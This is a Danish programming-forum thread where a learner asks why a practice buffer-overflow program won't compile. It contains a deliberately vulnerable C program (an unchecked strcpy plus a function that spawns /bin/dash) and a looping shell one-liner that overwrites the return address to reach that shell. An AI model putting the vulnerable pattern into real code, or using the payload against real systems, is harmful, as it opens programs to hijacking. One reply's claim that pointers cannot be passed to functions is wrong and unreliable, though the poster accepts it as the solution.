Avatar billede Peter Kruse Mester
13. august 2019 - 09:18 Der er 4 kommentarer og
2 løsninger

Nogen som kender fejlen her.

Hej alle kloge mennesker.

Nogen som kender denne fejl, mit program vil ikke compile på linux eller windows (subsystem). Er pt igang med at lære "C" og har kodet et lille buffer overflow program til test ONLY.

[B]CODE:[/B]

#include <stdio.h>
#include <string.h>

#define SIZE 500

void shell(){
    system("/bin/dash");
}

void functionCp(char *str){
    char buffer[SIZE];
    strcpy(buffer,str);
}

void main(int argc, char *argv[]){
    functionCp(argv[1]);
    printf("%s\n","EXECUTED NORMAL");
}




[B]PYTHON CODE - EXPLOIT[/B]

while true
do
    ./vuln $(python3 -c "print('A' * 511 + '\xb9\x11\x40\x00')")
done


[BKender godt til kodning[/B]

Jeg har ikke den store viden indenfor C sproget og håber derfor nogen vil hjælpe :D
Avatar billede Slettet bruger
13. august 2019 - 10:21 #1
mig bekendt, kan du ikke sende pointer (*) som argument til en procedure
du skriver *str. det dutter vist ikke.

du skriver
strcpy(buffer,str);

men du har sendt *str ind i proceduren.
det dur ikke, den forventer str
Avatar billede Peter Kruse Mester
13. august 2019 - 10:52 #2
Prøver lige at rette det til, som du skriver
Avatar billede Peter Kruse Mester
13. august 2019 - 10:52 #3
Indtil videre er dit svar løsningen :D
Avatar billede arne_v Ekspert
13. august 2019 - 23:43 #4
Nu skriver du jo ikke hvilke fejl du fik.

gcc -Wall gav mig:

vuln.c: In function 'shell':
vuln.c:7:5: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
    7 |    system("/bin/dash");
      |    ^~~~~~
vuln.c: At top level:
vuln.c:15:6: warning: return type of 'main' is not 'int' [-Wmain]
  15 | void main(int argc, char *argv[]){
      |      ^~~~

og for at slippe af med dem maate jeg anerde til:


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define SIZE 500

void shell(){
    system("/bin/dash");
}

void functionCp(char *str){
    char buffer[SIZE];
    strcpy(buffer,str);
}

int main(int argc, char *argv[]){
    functionCp(argv[1]);
    printf("%s\n","EXECUTED NORMAL");
    return 0;
}
Avatar billede arne_v Ekspert
13. august 2019 - 23:45 #5
Jeg kan ikke umiddelbart se noget galt med brugen af str.

C har et sjovt syn paa array og pointere, men det er som det er.
Avatar billede Peter Kruse Mester
14. august 2019 - 07:34 #6
Kodning er altid på tværs, men jeg prøver at blove bedre. Tak for de mange løsninger
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Kurser inden for grundlæggende programmering

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester